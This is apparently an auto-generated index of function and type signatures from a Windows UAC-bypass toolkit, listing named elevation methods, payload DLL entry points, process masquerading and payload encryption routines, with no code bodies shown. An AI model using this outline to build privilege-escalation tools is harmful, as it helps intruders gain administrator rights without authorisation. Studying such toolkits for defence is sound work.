  function VOID (line 1297) | VOID ucmIscsiCplMethodCleanup(
  function NTSTATUS (line 1317) | NTSTATUS ucmIscsiCplMethod(
  function NTSTATUS (line 1403) | NTSTATUS ucmRequestTraceMethod(
  function BOOLEAN (line 1517) | BOOLEAN ucmxModifyWebviewExecutableFolderPolicy(
  function HANDLE (line 1553) | HANDLE ucmxRunQuickAssist()
  function NTSTATUS (line 1591) | NTSTATUS ucmQuickAssistMethod(

FILE: Source/Akagi/methods/methods.c
  function BOOL (line 170) | __forceinline BOOL IsMethodImplementedForWin32(
  function NTSTATUS (line 188) | NTSTATUS IsMethodMatchRequirements(
  function VOID (line 235) | VOID PostCleanupAttempt(
  function NTSTATUS (line 287) | NTSTATUS MethodsManagerCall(
  function UCM_API (line 408) | UCM_API(MethodDeprecated)
  function UCM_API (line 414) | UCM_API(MethodTest)
  function UCM_API (line 424) | UCM_API(MethodSXS)
  function UCM_API (line 435) | UCM_API(MethodDism)
  function UCM_API (line 442) | UCM_API(MethodWow64Logger)
  function UCM_API (line 457) | UCM_API(MethodUiAccess)
  function UCM_API (line 464) | UCM_API(MethodMsSettings)
  function UCM_API (line 490) | UCM_API(MethodTyranid)
  function UCM_API (line 507) | UCM_API(MethodJunction)
  function UCM_API (line 514) | UCM_API(MethodSXSDccw)
  function UCM_API (line 521) | UCM_API(MethodHakril)
  function UCM_API (line 528) | UCM_API(MethodCorProfiler)
  function UCM_API (line 535) | UCM_API(MethodCMLuaUtil)
  function UCM_API (line 552) | UCM_API(MethodDccwCOM)
  function UCM_API (line 569) | UCM_API(MethodDirectoryMock)
  function UCM_API (line 576) | UCM_API(MethodShellSdctl)
  function UCM_API (line 591) | UCM_API(MethodTokenModUIAccess)
  function UCM_API (line 603) | UCM_API(MethodEditionUpgradeManager)
  function UCM_API (line 615) | UCM_API(MethodDebugObject)
  function UCM_API (line 631) | UCM_API(MethodShellChangePk)
  function UCM_API (line 649) | UCM_API(MethodNICPoison)
  function UCM_API (line 674) | UCM_API(MethodIeAddOnInstall)
  function UCM_API (line 686) | UCM_API(MethodWscActionProtocol)
  function UCM_API (line 703) | UCM_API(MethodFwCplLua2)
  function UCM_API (line 720) | UCM_API(MethodProtocolHijack)
  function UCM_API (line 760) | UCM_API(MethodPca)
  function UCM_API (line 772) | UCM_API(MethodCurVer)
  function UCM_API (line 799) | UCM_API(MethodMsdt)
  function UCM_API (line 806) | UCM_API(MethodDotNetSerial)
  function UCM_API (line 820) | UCM_API(MethodVFServerTaskSched)
  function UCM_API (line 827) | UCM_API(MethodVFServerDiagProf)
  function UCM_API (line 834) | UCM_API(MethodIscsiCpl)
  function UCM_API (line 841) | UCM_API(MethodAtlHijack)
  function UCM_API (line 854) | UCM_API(MethodSspiDatagram)
  function UCM_API (line 866) | UCM_API(MethodRequestTrace)
  function UCM_API (line 878) | UCM_API(MethodQuickAssist)

FILE: Source/Akagi/methods/methods.h
  type UCM_METHOD (line 21) | typedef enum _UCM_METHOD {
  type UCM_METHOD_AVAILABILITY (line 110) | typedef struct _UCM_METHOD_AVAILABILITY {
  type UCM_PARAMS_BLOCK (line 115) | typedef struct tagUCM_PARAMS_BLOCK {
  type UCM_API_DISPATCH_ENTRY (line 128) | typedef struct _UCM_API_DISPATCH_ENTRY {

FILE: Source/Akagi/methods/rinn.c
  function NTSTATUS (line 37) | NTSTATUS ucmEditionUpgradeManagerMethod(

FILE: Source/Akagi/methods/shellsup.c
  function NTSTATUS (line 42) | NTSTATUS ucmxSetSlaveParams(
  function NTSTATUS (line 86) | NTSTATUS ucmxCreateSlaveKey(
  function NTSTATUS (line 137) | NTSTATUS ucmShellRegModMethod(
  function NTSTATUS (line 372) | NTSTATUS ucmShellRegModMethod2(
  function NTSTATUS (line 503) | NTSTATUS ucmShellRegModMethod3(

FILE: Source/Akagi/methods/tyranid.c
  function NTSTATUS (line 39) | NTSTATUS ucmDiskCleanupEnvironmentVariable(
  function BOOL (line 96) | BOOL ucmxTokenModUIAccessMethodInitPhase(
  function NTSTATUS (line 135) | NTSTATUS ucmxTokenModUIAccessExec(
  function NTSTATUS (line 294) | NTSTATUS ucmTokenModUIAccessMethod(
  function NTSTATUS (line 312) | NTSTATUS ucmTokenModUIAccessMethod2(
  function NTSTATUS (line 369) | NTSTATUS ucmxCreateProcessFromParent(
  function NTSTATUS (line 433) | NTSTATUS ucmDebugObjectMethod(

FILE: Source/Akagi/methods/wusa.c
  function BOOL (line 30) | BOOL ucmCreateCabinetForSingleFile(
  function VOID (line 88) | VOID ucmWusaCabinetCleanup(
  function DWORD (line 109) | DWORD ucmxInvokeWusaThread(
  function DWORD (line 157) | DWORD ucmxDirectoryWatchdogThread(
  function BOOL (line 349) | BOOL ucmWusaExtractViaJunction(

FILE: Source/Akagi/methods/zcgonvh.c
  function HRESULT (line 23) | HRESULT ucmxGetElevatedFactoryServerObject(
  function BOOL (line 49) | BOOL ucmxGetElevatedFactoryServerAndTaskService(
  function BOOL (line 102) | BOOL ucmxRegisterAndRunTask(
  function BSTR (line 199) | BSTR ucmxBuildParametersForTask(
  function NTSTATUS (line 245) | NTSTATUS ucmVFServerTaskSchedMethod(
  type UCMX_OVP (line 316) | typedef struct _UCMX_OVP {
  function DWORD (line 333) | DWORD ucmxOverwriteThread(
  function HRESULT (line 374) | HRESULT ucmxTriggerDiagProfile(
  function NTSTATUS (line 524) | NTSTATUS ucmVFServerDiagProfileMethod(

FILE: Source/Akagi/pcasvc/w7/x64/pcasvc7_64.c
  type pcasvc7_MIDL_TYPE_FORMAT_STRING (line 44) | typedef struct _pcasvc7_MIDL_TYPE_FORMAT_STRING
  type pcasvc7_MIDL_PROC_FORMAT_STRING (line 50) | typedef struct _pcasvc7_MIDL_PROC_FORMAT_STRING
  type pcasvc7_MIDL_EXPR_FORMAT_STRING (line 56) | typedef struct _pcasvc7_MIDL_EXPR_FORMAT_STRING
  function RAiNotifyUserCallbackExceptionProcess (line 97) | long RAiNotifyUserCallbackExceptionProcess(

FILE: Source/Akagi/pcasvc/w7/x86-32/pcasvc7_32.c
  type pcasvc7_MIDL_TYPE_FORMAT_STRING (line 48) | typedef struct _pcasvc7_MIDL_TYPE_FORMAT_STRING
  type pcasvc7_MIDL_PROC_FORMAT_STRING (line 54) | typedef struct _pcasvc7_MIDL_PROC_FORMAT_STRING
  type pcasvc7_MIDL_EXPR_FORMAT_STRING (line 60) | typedef struct _pcasvc7_MIDL_EXPR_FORMAT_STRING
  function RAiNotifyUserCallbackExceptionProcess (line 101) | long RAiNotifyUserCallbackExceptionProcess(

FILE: Source/Akagi/pcasvc/w8_10/x64/pcasvc64.c
  type pcasvc_MIDL_TYPE_FORMAT_STRING (line 44) | typedef struct _pcasvc_MIDL_TYPE_FORMAT_STRING
  type pcasvc_MIDL_PROC_FORMAT_STRING (line 50) | typedef struct _pcasvc_MIDL_PROC_FORMAT_STRING
  type pcasvc_MIDL_EXPR_FORMAT_STRING (line 56) | typedef struct _pcasvc_MIDL_EXPR_FORMAT_STRING
  function RAiMonitorProcess (line 97) | long RAiMonitorProcess(

FILE: Source/Akagi/pcasvc/w8_10/x86-32/pcasvc32.c
  type pcasvc_MIDL_TYPE_FORMAT_STRING (line 47) | typedef struct _pcasvc_MIDL_TYPE_FORMAT_STRING
  type pcasvc_MIDL_PROC_FORMAT_STRING (line 53) | typedef struct _pcasvc_MIDL_PROC_FORMAT_STRING
  type pcasvc_MIDL_EXPR_FORMAT_STRING (line 59) | typedef struct _pcasvc_MIDL_EXPR_FORMAT_STRING
  function RAiMonitorProcess (line 100) | long RAiMonitorProcess(

FILE: Source/Akagi/stub.c
  function INT (line 29) | INT ucmSehHandler(
  function DWORD (line 57) | DWORD StubInit(

FILE: Source/Akagi/sup.c
  function MIDL_user_free (line 51) | void __RPC_USER MIDL_user_free(_Pre_maybenull_ _Post_invalid_ void* p)
  function PVOID (line 69) | PVOID supEncodePointer(
  function PVOID (line 114) | PVOID supDecodePointer(
  function PVOID (line 159) | PVOID supVirtualAlloc(
  function BOOL (line 197) | BOOL supVirtualFree(
  function BOOL (line 223) | BOOL supSecureVirtualFree(
  function PVOID (line 240) | PVOID FORCEINLINE supHeapAlloc(
  function BOOL (line 254) | BOOL FORCEINLINE supHeapFree(
  function BOOLEAN (line 268) | BOOLEAN supIsProcess32bit(
  function BOOL (line 297) | BOOL supGetElevationType(
  function BOOL (line 331) | BOOL supWriteBufferToFile(
  function VOID (line 368) | VOID supDebugPrint(
  function NTSTATUS (line 411) | NTSTATUS supRegWriteValue(
  function NTSTATUS (line 448) | NTSTATUS supRegCurrentUserDeleteSubKeyValue(
  function NTSTATUS (line 492) | NTSTATUS supRegReadValue(
  function PBYTE (line 561) | PBYTE supReadFileToBuffer(
  function HANDLE (line 665) | HANDLE supRunProcess3(
  function BOOL (line 695) | BOOL supRunProcess2(
  function BOOL (line 728) | BOOL supRunProcess(
  function supCopyMemory (line 753) | void supCopyMemory(
  function LPWSTR (line 782) | LPWSTR supQueryEnvironmentVariableOffset(
  function USHORT (line 815) | USHORT supChkSum(
  function DWORD (line 836) | DWORD supCalculateCheckSumForMappedFile(
  function BOOLEAN (line 872) | BOOLEAN supVerifyMappedImageMatchesChecksum(
  function BOOLEAN (line 901) | BOOLEAN supSetCheckSumForMappedFile(
  function NTSTATUS (line 924) | NTSTATUS supLdrQueryResourceDataEx(
  function PBYTE (line 968) | PBYTE supLdrQueryResourceData(
  function VOID (line 996) | VOID supSetLastErrorFromNtStatus(
  type LDR_BACKUP (line 1011) | typedef struct _LDR_BACKUP {
  function VOID (line 1028) | VOID NTAPI supxLdrEnumModulesCallback(
  function VOID (line 1070) | VOID supMasqueradeProcess(
  function DWORD (line 1145) | DWORD supExpandEnvironmentStrings(
  function wchar_t (line 1190) | wchar_t* sxsFilePathNoSlash(
  function BOOL (line 1224) | BOOL sxsFindLoaderEntry(
  function BOOL (line 1282) | BOOL supxDeleteKeyRecursive(
  function BOOL (line 1372) | BOOL supRegDeleteKeyRecursive(
  function BOOL (line 1390) | BOOL supSetEnvVariableEx(
  function BOOL (line 1492) | BOOL supSetEnvVariable(
  function BOOL (line 1558) | BOOL supSetEnvVariable2(
  function supReplaceEnvironmentVariableValue (line 1647) | _Success_(return)
  function BOOL (line 1759) | BOOL supDeleteMountPoint(
  function BOOL (line 1800) | BOOL supSetMountPoint(
  function HANDLE (line 1886) | HANDLE supOpenDirectoryForReparse(
  function BOOL (line 1929) | BOOL supWinstationToName(
  function BOOL (line 1959) | BOOL supDesktopToName(
  function BOOL (line 1989) | BOOL supReplaceDllEntryPoint(
  function BOOL (line 2040) | BOOL supQuerySystemRoot(
  function PVOID (line 2118) | PVOID supGetSystemInfo(
  function BOOL (line 2166) | BOOL supIsCorImageFile(
  function NTSTATUS (line 2187) | NTSTATUS supCreateDirectory(
  function PSID (line 2229) | PSID supxCreateBoundaryDescriptorSID(
  function BOOL (line 2271) | BOOL supCreateSharedParametersBlock(
  function VOID (line 2445) | VOID supDestroySharedParametersBlock(
  function PVOID (line 2471) | PVOID supCreateUacmeContext(
  function VOID (line 2610) | VOID supDestroyUacmeContext(
  function BOOL (line 2629) | BOOL supDecodeAndWriteBufferToFile(
  function NTSTATUS (line 2663) | NTSTATUS supEnableDisableWow64Redirection(
  function NTSTATUS (line 2685) | NTSTATUS supGetProcessDebugObject(
  function BOOL (line 2705) | BOOL supIsProcessRunning(
  function VOID (line 2761) | VOID supBinTextEncode(
  function VOID (line 2800) | VOID supGenerateSharedObjectName(
  function VOID (line 2824) | VOID supSetGlobalCompletionEvent(
  function NTSTATUS (line 2840) | NTSTATUS supWaitForGlobalCompletionEvent(
  function NTSTATUS (line 2865) | NTSTATUS supOpenClassesKey(
  function NTSTATUS (line 2928) | NTSTATUS supRemoveRegLinkHKCU(
  function PVOID (line 3001) | PVOID supFindPattern(
  function PVOID (line 3044) | PVOID supLookupImageSectionByName(
  function PUSER_ASSOC_SIGNATURE (line 3111) | PUSER_ASSOC_SIGNATURE supGetUserAssocSetDB(
  function VOID (line 3129) | VOID supEnumUserAssocSetDB(
  function NTSTATUS (line 3164) | NTSTATUS supFindUserAssocSet(
  function NTSTATUS (line 3308) | NTSTATUS supRegisterShellAssoc(
  function NTSTATUS (line 3466) | NTSTATUS supUnregisterShellAssocEx(
  function NTSTATUS (line 3529) | NTSTATUS supUnregisterShellAssoc(
  function NTSTATUS (line 3549) | NTSTATUS supResetShellAssoc(
  function BOOL (line 3570) | BOOL supStopTaskByName(
  function LPWSTR (line 3662) | LPWSTR supPathAddBackSlash(
  function HANDLE (line 3700) | HANDLE supOpenShellProcess(
  function HANDLE (line 3728) | HANDLE supRunProcessFromParent(
  function RPC_STATUS (line 3823) | RPC_STATUS supCreateBindingHandle(
  function BOOL (line 3904) | BOOL supConcatenatePaths(
  function BOOL (line 3974) | BOOL supRemoveDirectoryRecursive(
  function BOOL (line 4050) | BOOL supEnumProcessesForSession(
  function VOID (line 4101) | VOID supEnableToastForProtocol(
  function ULONG (line 4179) | ULONG supWaitForChildProcesses(
  function VOID (line 4285) | VOID supRaiseHardError(
  function BOOL (line 4334) | BOOL supGetThreadTokenImpersonationLevel(
  function ULONGLONG (line 4371) | ULONGLONG supGetTickCount64(
  function BOOL (line 4408) | BOOL supxExamineTaskhost(
  function BOOL (line 4493) | BOOL CALLBACK supEnumTaskhostTasksCallback(
  function BOOLEAN (line 4516) | BOOLEAN supStartScheduledTask(
  function BOOLEAN (line 4613) | BOOLEAN supReplaceVersionInfo(

FILE: Source/Akagi/sup.h
  type UASET (line 34) | typedef enum {
  type USER_ASSOC_PTR (line 51) | typedef struct _USER_ASSOC_PTR {
  type USER_ASSOC_PATTERN (line 59) | typedef struct USER_ASSOC_PATTERN {
  type USER_ASSOC_SIGNATURE (line 64) | typedef struct USER_ASSOC_SIGNATURE {
  type SXS_SEARCH_CONTEXT (line 81) | typedef struct _SXS_SEARCH_CONTEXT {
  type REPARSE_DATA_BUFFER (line 88) | typedef struct _REPARSE_DATA_BUFFER {

FILE: Source/Akagi/tests/test.c
  function VOID (line 19) | VOID WINAPI TestEnumDB(
  function VOID (line 50) | VOID TestEnumUAS()
  function BOOL (line 63) | BOOL ucmTestRoutine(

FILE: Source/Akagi/tests/test.h
  type interface (line 21) | typedef interface ITestInterface
  type ITestInterfaceVtbl (line 26) | struct ITestInterfaceVtbl {
  function interface (line 97) | interface ITestInterface

FILE: Source/Akatsuki/dllmain.c
  function VOID (line 46) | VOID WINAPI DummyFunc(
  function VOID (line 61) | VOID DbgDumpRuntimeInfo()
  function PVOID (line 106) | PVOID InitFunctionPtr(
  function VOID (line 142) | VOID DefaultPayload(
  function BOOL (line 213) | BOOL WINAPI DllMain(
  function VOID (line 244) | VOID WINAPI EntryPointExeMode(

FILE: Source/Fubuki/dllmain.c
  function VOID (line 33) | VOID WINAPI DummyFunc(
  function VOID (line 47) | VOID DefaultPayload(
  function LRESULT (line 111) | LRESULT CALLBACK UiAccessMethodHookProc(
  function VOID (line 130) | VOID UiAccessMethodPayload(
  function BOOL (line 201) | BOOL WINAPI UiAccessMethodDllMain(
  function BOOL (line 229) | BOOL WINAPI DllMain(
  function VOID (line 257) | VOID WINAPI EntryPointExeMode(
  function VOID (line 275) | VOID WINAPI EntryPointUIAccessLoader(
  function VOID (line 302) | VOID WINAPI EntryPointUIAccessLoader2(
  function BOOL (line 322) | BOOL WINAPI EntryPointSxsConsent(
  function BOOL (line 382) | BOOL WINAPI EntryPointBackupLocked(

FILE: Source/Fubuki/pca.c
  function ULONG_PTR (line 37) | ULONG_PTR WINAPI WdiGetDiagnosticModuleInterfaceVersion(
  function HRESULT (line 52) | HRESULT WINAPI WdiStubGeneric(
  function BOOL (line 71) | BOOL ucmxStopTaskByName(
  function ULONG (line 163) | ULONG pcaEtwCall()
  function ULONG (line 212) | ULONG pcaStopWDI()
  function ULONG (line 251) | ULONG pcaWin7Trigger(
  function VOID (line 267) | VOID WINAPI pcaEntryPointLoader(
  function BOOL (line 307) | BOOL WINAPI pcaEntryPointDll(

FILE: Source/Fubuki/pca.h
  type PCA_LOADER_BLOCK (line 21) | typedef struct _PCA_LOADER_BLOCK {

FILE: Source/Fubuki/uihacks.c
  function VOID (line 23) | VOID ucmxSendInput(
  function VOID (line 50) | VOID ucmxSendControlInput(
  function VOID (line 88) | VOID ucmxSendKeys(
  function BOOL (line 112) | BOOL CALLBACK ucmxElevatedConsoleCallback(
  function BOOL (line 147) | BOOL CALLBACK ucmxEnumChildCallback(
  function BOOL (line 212) | BOOL CALLBACK ucmxFindMainMsConfigWindow(
  function HWND (line 247) | HWND ucmxGetHwndForMsConfig(
  function VOID (line 269) | VOID ucmUIHackExecute(
  function VOID (line 317) | VOID ucmUIHackExecute2(

FILE: Source/Fubuki/uihacks.h
  type SEARCH_WND (line 21) | typedef struct _SEARCH_WND {

FILE: Source/Naka/main.c
  function BOOL (line 30) | BOOL CreateSha256HashForBuffer(
  function BOOL (line 177) | BOOL GenerateIV(
  function BOOL (line 218) | BOOL DecryptBuffer(
  function BOOL (line 373) | BOOL EncryptBuffer(
  function BOOL (line 546) | BOOL supWriteBufferToFile(
  function PVOID (line 579) | PVOID supReadBufferFromFile(
  function BOOL (line 658) | BOOL IsValidContainerHeader(
  function DecompressContainerUnit (line 708) | void DecompressContainerUnit(
  function CreateContainerPackedUnit (line 809) | void CreateContainerPackedUnit(
  type DCK_HEADER (line 1005) | typedef struct _DCK_HEADER {
  function VOID (line 1018) | VOID EncodeBuffer(
  function BOOL (line 1053) | BOOL ProcessUnit(
  function VOID (line 1091) | VOID CreateSecretTables(VOID)
  function main (line 1171) | void main()

FILE: Source/Naka/naka.h
  type DCU_HEADER (line 57) | typedef struct _DCU_HEADER {

FILE: Source/Shared/_filename.c
  function wchar_t (line 19) | wchar_t *_filename_w(const wchar_t *f)
  function wchar_t (line 53) | wchar_t *_fileext_w(const wchar_t *f)
  function wchar_t (line 107) | wchar_t *_filename_noext_w(wchar_t *dest, const wchar_t *f)
  function wchar_t (line 165) | wchar_t *_filepath_w(const wchar_t *fname, wchar_t *fpath)

FILE: Source/Shared/_strcat.c
  function wchar_t (line 21) | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src)

FILE: Source/Shared/_strcmp.c
  function _strcmp_a (line 3) | int _strcmp_a(const char *s1, const char *s2)
  function _strcmp_w (line 26) | int _strcmp_w(const wchar_t *s1, const wchar_t *s2)

FILE: Source/Shared/_strcmpi.c
  function _strcmpi_a (line 3) | int _strcmpi_a(const char *s1, const char *s2)
  function _strcmpi_w (line 26) | int _strcmpi_w(const wchar_t *s1, const wchar_t *s2)

FILE: Source/Shared/_strcpy.c
  function wchar_t (line 24) | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src)

FILE: Source/Shared/_strend.c
  function wchar_t (line 14) | wchar_t *_strend_w(const wchar_t *s)

FILE: Source/Shared/_strlen.c
  function _strlen_a (line 3) | size_t _strlen_a(const char *s)
  function _strlen_w (line 16) | size_t _strlen_w(const wchar_t *s)

FILE: Source/Shared/_strncmp.c
  function _strncmp_a (line 3) | int _strncmp_a(const char *s1, const char *s2, size_t cchars)
  function _strncmp_w (line 30) | int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars)

FILE: Source/Shared/_strncmpi.c
  function _strncmpi_a (line 3) | int _strncmpi_a(const char *s1, const char *s2, size_t cchars)
  function _strncmpi_w (line 30) | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars)

FILE: Source/Shared/_strncpy.c
  function wchar_t (line 25) | wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, si...

FILE: Source/Shared/_strstri.c
  function wchar_t (line 46) | wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s)

FILE: Source/Shared/cmdline.c
  function BOOL (line 3) | BOOL GetCommandLineParamW(
  function BOOL (line 70) | BOOL GetCommandLineParamA(
  function wchar_t (line 158) | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath)

FILE: Source/Shared/hde/hde64.c
  function hde64_disasm (line 15) | unsigned int hde64_disasm(const void *code, hde64s *hs)

FILE: Source/Shared/hde/hde64.h
  type hde64s (line 63) | typedef struct {

FILE: Source/Shared/hde/pstdint.h
  type INT8 (line 32) | typedef INT8   int8_t;
  type INT16 (line 33) | typedef INT16  int16_t;
  type INT32 (line 34) | typedef INT32  int32_t;
  type INT64 (line 35) | typedef INT64  int64_t;
  type UINT8 (line 36) | typedef UINT8  uint8_t;
  type UINT16 (line 37) | typedef UINT16 uint16_t;
  type UINT32 (line 38) | typedef UINT32 uint32_t;
  type UINT64 (line 39) | typedef UINT64 uint64_t;

FILE: Source/Shared/itostr.c
  function itostr_a (line 3) | size_t itostr_a(int x, char *s)
  function itostr_w (line 43) | size_t itostr_w(int x, wchar_t *s)

FILE: Source/Shared/ldr.c
  function DWORD (line 20) | DWORD align_gt(
  function DWORD (line 35) | DWORD align_le(
  function LPVOID (line 46) | LPVOID PELoaderLoadImage(
  function LPVOID (line 174) | LPVOID PELoaderGetProcAddress(

FILE: Source/Shared/ntos/ntos.h
  type CCHAR (line 92) | typedef char CCHAR;
  type UCHAR (line 93) | typedef unsigned char UCHAR;
  type CCHAR (line 94) | typedef CCHAR KPROCESSOR_MODE;
  type UCHAR (line 95) | typedef UCHAR KIRQL;
  type KIRQL (line 96) | typedef KIRQL *PKIRQL;
  type ULONG (line 97) | typedef ULONG CLONG;
  type LONG (line 98) | typedef LONG KPRIORITY;
  type CSHORT (line 99) | typedef short CSHORT;
  type ULONGLONG (line 100) | typedef ULONGLONG REGHANDLE, *PREGHANDLE;
  type PVOID (line 101) | typedef PVOID *PDEVICE_MAP;
  type PVOID (line 102) | typedef PVOID PHEAD;
  type PVOID (line 103) | typedef PVOID PEJOB;
  type PVOID (line 104) | typedef PVOID PKTHREAD;
  type _IO_TIMER (line 105) | struct _IO_TIMER
  type LARGE_INTEGER (line 106) | typedef LARGE_INTEGER PHYSICAL_ADDRESS;
  type _EJOB (line 107) | struct _EJOB
  type PVOID (line 113) | typedef PVOID PMEM_EXTENDED_PARAMETER;
  type _KPROCESSOR_MODE (line 207) | enum _KPROCESSOR_MODE {
  type EX_RUNDOWN_REF (line 501) | typedef struct _EX_RUNDOWN_REF {
  type EX_FAST_REF (line 515) | typedef struct _EX_FAST_REF {
  type UNICODE_STRING (line 527) | typedef struct _UNICODE_STRING {
  type UNICODE_STRING (line 532) | typedef const UNICODE_STRING *PCUNICODE_STRING;
  type STRING (line 539) | typedef struct _STRING {
  type STRING (line 544) | typedef STRING *PSTRING;
  type STRING (line 546) | typedef STRING ANSI_STRING;
  type PSTRING (line 547) | typedef PSTRING PANSI_STRING;
  type STRING (line 549) | typedef STRING OEM_STRING;
  type PSTRING (line 550) | typedef PSTRING POEM_STRING;
  type CONST (line 551) | typedef CONST STRING* PCOEM_STRING;
  type CONST (line 552) | typedef CONST char *PCSZ;
  type CSTRING (line 554) | typedef struct _CSTRING {
  type CSTRING (line 559) | typedef CSTRING *PCSTRING;
  type STRING (line 562) | typedef STRING CANSI_STRING;
  type PSTRING (line 563) | typedef PSTRING PCANSI_STRING;
  type OBJECT_ATTRIBUTES (line 565) | typedef struct _OBJECT_ATTRIBUTES {
  type OBJECT_ATTRIBUTES (line 573) | typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
  type IO_STATUS_BLOCK (line 575) | typedef struct _IO_STATUS_BLOCK {
  type INTERFACE_TYPE (line 585) | typedef enum _INTERFACE_TYPE {
  type SYSTEM_MEMORY_LIST_COMMAND (line 613) | typedef enum _SYSTEM_MEMORY_LIST_COMMAND {
  type SYSTEM_FILECACHE_INFORMATION (line 623) | typedef struct _SYSTEM_FILECACHE_INFORMATION {
  type SYSTEM_TIMEOFDAY_INFORMATION (line 643) | typedef struct _SYSTEM_TIMEOFDAY_INFORMATION {
  type THREAD_STATE (line 653) | typedef enum _THREAD_STATE {
  type KWAIT_REASON (line 664) | typedef enum _KWAIT_REASON {
  type VOID (line 711) | typedef VOID KSTART_ROUTINE(
  type KSTART_ROUTINE (line 714) | typedef KSTART_ROUTINE *PKSTART_ROUTINE;
  type CLIENT_ID (line 716) | typedef struct _CLIENT_ID {
  type CLIENT_ID64 (line 721) | typedef struct _CLIENT_ID64 {
  type CLIENT_ID32 (line 726) | typedef struct _CLIENT_ID32 {
  type VM_COUNTERS (line 731) | typedef struct _VM_COUNTERS {
  type SYSTEM_THREAD_INFORMATION (line 746) | typedef struct _SYSTEM_THREAD_INFORMATION {
  type SYSTEM_EXTENDED_THREAD_INFORMATION (line 760) | typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION {
  type SYSTEM_PROCESS_INFORMATION (line 771) | typedef struct _SYSTEM_PROCESS_INFORMATION {
  type SYSTEM_PROCESS_CLASSIFICATION (line 793) | typedef enum _SYSTEM_PROCESS_CLASSIFICATION {
  type PROCESS_DISK_COUNTERS (line 802) | typedef struct _PROCESS_DISK_COUNTERS {
  type ENERGY_STATE_DURATION (line 810) | typedef union _ENERGY_STATE_DURATION {
  type PROCESS_ENERGY_VALUES (line 821) | typedef struct _PROCESS_ENERGY_VALUES {
  type SYSTEM_PROCESS_INFORMATION_EXTENSION (line 846) | typedef struct _SYSTEM_PROCESS_INFORMATION_EXTENSION {
  type SYSTEM_PROCESS_FULL_INFORMATION (line 870) | typedef struct _SYSTEM_PROCESS_FULL_INFORMATION {
  type SYSTEM_PROCESS_ID_INFORMATION (line 875) | typedef struct _SYSTEM_PROCESS_ID_INFORMATION {
  type SYSTEM_SECUREBOOT_INFORMATION (line 880) | typedef struct _SYSTEM_SECUREBOOT_INFORMATION {
  type SYSTEM_SECUREBOOT_POLICY_INFORMATION (line 885) | typedef struct _SYSTEM_SECUREBOOT_POLICY_INFORMATION {
  type SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION (line 891) | typedef struct _SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION {
  type SYSTEM_BASIC_INFORMATION (line 897) | typedef struct _SYSTEM_BASIC_INFORMATION {
  type SYSTEM_ISOLATED_USER_MODE_INFORMATION (line 911) | typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION {
  type SYSTEM_PROCESSOR_FEATURES_INFORMATION (line 931) | typedef struct _SYSTEM_PROCESSOR_FEATURES_INFORMATION { //chappell
  type SYSTEM_POOL_ENTRY (line 936) | typedef struct _SYSTEM_POOL_ENTRY {
  type SYSTEM_POOL_INFORMATION (line 948) | typedef struct _SYSTEM_POOL_INFORMATION {
  type SYSTEM_POOLTAG (line 958) | typedef struct _SYSTEM_POOLTAG {
  type SYSTEM_BIGPOOL_ENTRY (line 971) | typedef struct _SYSTEM_BIGPOOL_ENTRY {
  type SYSTEM_POOLTAG_INFORMATION (line 983) | typedef struct _SYSTEM_POOLTAG_INFORMATION {
  type SYSTEM_SESSION_POOLTAG_INFORMATION (line 988) | typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION {
  type SYSTEM_BIGPOOL_INFORMATION (line 995) | typedef struct _SYSTEM_BIGPOOL_INFORMATION {
  type SYSTEM_FIRMWARE_PARTITION_INFORMATION (line 1000) | typedef struct _SYSTEM_FIRMWARE_PARTITION_INFORMATION {
  type RTL_PROCESS_BACKTRACE_INFORMATION (line 1004) | typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION {
  type RTL_PROCESS_BACKTRACES (line 1012) | typedef struct _RTL_PROCESS_BACKTRACES {
  type PROCESSINFOCLASS (line 1020) | typedef enum _PROCESSINFOCLASS {
  type THREADINFOCLASS (line 1142) | typedef enum _THREADINFOCLASS {
  type PROCESS_BASIC_INFORMATION (line 1206) | typedef struct _PROCESS_BASIC_INFORMATION {
  type THREAD_BASIC_INFORMATION (line 1215) | typedef struct _THREAD_BASIC_INFORMATION {
  type THREAD_LAST_SYSCALL_INFORMATION (line 1225) | typedef struct _THREAD_LAST_SYSCALL_INFORMATION {
  type THREAD_NAME_INFORMATION (line 1236) | typedef struct _THREAD_NAME_INFORMATION {
  type PROCESS_EXTENDED_BASIC_INFORMATION (line 1240) | typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION {
  type PROCESS_ACCESS_TOKEN (line 1262) | typedef struct _PROCESS_ACCESS_TOKEN {
  type PROCESS_HANDLE_TABLE_ENTRY_INFO (line 1267) | typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO {
  type PROCESS_HANDLE_SNAPSHOT_INFORMATION (line 1277) | typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION {
  type PROCESS_STATE_CHANGE_TYPE (line 1283) | typedef enum _PROCESS_STATE_CHANGE_TYPE {
  type THREAD_STATE_CHANGE_TYPE (line 1289) | typedef enum _THREAD_STATE_CHANGE_TYPE {
  type KERNEL_USER_TIMES (line 1300) | typedef struct _KERNEL_USER_TIMES {
  type PS_MITIGATION_OPTION (line 1307) | typedef enum _PS_MITIGATION_OPTION {
  type PS_CREATE_STATE (line 1348) | typedef enum _PS_CREATE_STATE {
  type PS_CREATE_INFO (line 1359) | typedef struct _PS_CREATE_INFO {
  type PS_ATTRIBUTE (line 1428) | typedef struct _PS_ATTRIBUTE {
  type PS_ATTRIBUTE_LIST (line 1439) | typedef struct _PS_ATTRIBUTE_LIST {
  type PS_PROTECTED_TYPE (line 1444) | typedef enum _PS_PROTECTED_TYPE {
  type PS_PROTECTED_SIGNER (line 1451) | typedef enum _PS_PROTECTED_SIGNER {
  type PS_PROTECTION (line 1481) | typedef struct _PS_PROTECTION {
  type PS_ATTRIBUTE_NUM (line 1501) | typedef enum _PS_ATTRIBUTE_NUM {
